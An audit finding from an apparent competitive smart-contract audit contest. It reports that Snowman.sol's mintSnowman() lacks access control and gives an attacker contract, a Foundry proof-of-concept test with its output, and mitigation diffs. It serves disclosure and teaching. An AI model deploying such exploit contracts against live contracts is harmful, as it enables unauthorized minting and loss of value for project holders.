Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Arbitrary Minting of Snowman NFTs Due to Missing Access Control Description

Arbitrary Minting of Snowman NFTs Due to Missing Access Control

Description

The SnowmanAirdrop contract is designed to be the sole entity authorized to mint Snowman NFTs, requiring users to pass Merkle proof and signature verification before calling Snowman.mintSnowman().

The specific issue is that the mintSnowman() function in Snowman.sol is declared as external but lacks any access control mechanisms (such as onlyOwner or an onlyAirdrop modifier). This allows any arbitrary address to call the function directly, bypassing the airdrop verification process and minting an unlimited number of NFTs for free.

// >>> EXTERNAL FUNCTIONS
function mintSnowman(address receiver, uint256 amount) external {
@> // No access control check (e.g., require(msg.sender == address(i_snowmanAirdrop)))
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • The function is publicly exposed as external and is callable by any EOA or smart contract at any time.

  • No special prerequisites, state conditions, or privileges are required for an attacker to execute the function.

Impact:

  • Complete bypass of the Merkle Tree and EIP-712 signature verification logic in the SnowmanAirdrop contract.

  • Infinite minting of Snowman NFTs, destroying the scarcity and economic value of the collection.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Snowman} from "./Snowman.sol";
contract ExploitOP001 {
Snowman public snowman;
constructor(address _snowmanAddress) {
snowman = Snowman(_snowmanAddress);
}
// Any attacker can call this function to mint unlimited NFTs
function exploitMint(address receiver, uint256 amount) external {
// Directly calls the unprotected mintSnowman function
snowman.mintSnowman(receiver, amount);
}
}

Recommended Mitigation

Implement strict access control to ensure that only the authorized SnowmanAirdrop contract can call the minting function. Since the contract already inherits Ownable, you can either restrict it to the owner (if the owner is configured to be the Airdrop contract) or add a dedicated modifier for the airdrop address.

+ address public immutable i_airdropContract;
+
+ modifier onlyAirdrop() {
+ require(msg.sender == i_airdropContract, "SM__NotAllowed()");
+ _;
+ }
+
+ constructor(string memory _SnowmanSvgUri, address _airdropContract) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ s_TokenCounter = 0;
+ s_SnowmanSvgUri = _SnowmanSvgUri;
+ i_airdropContract = _airdropContract;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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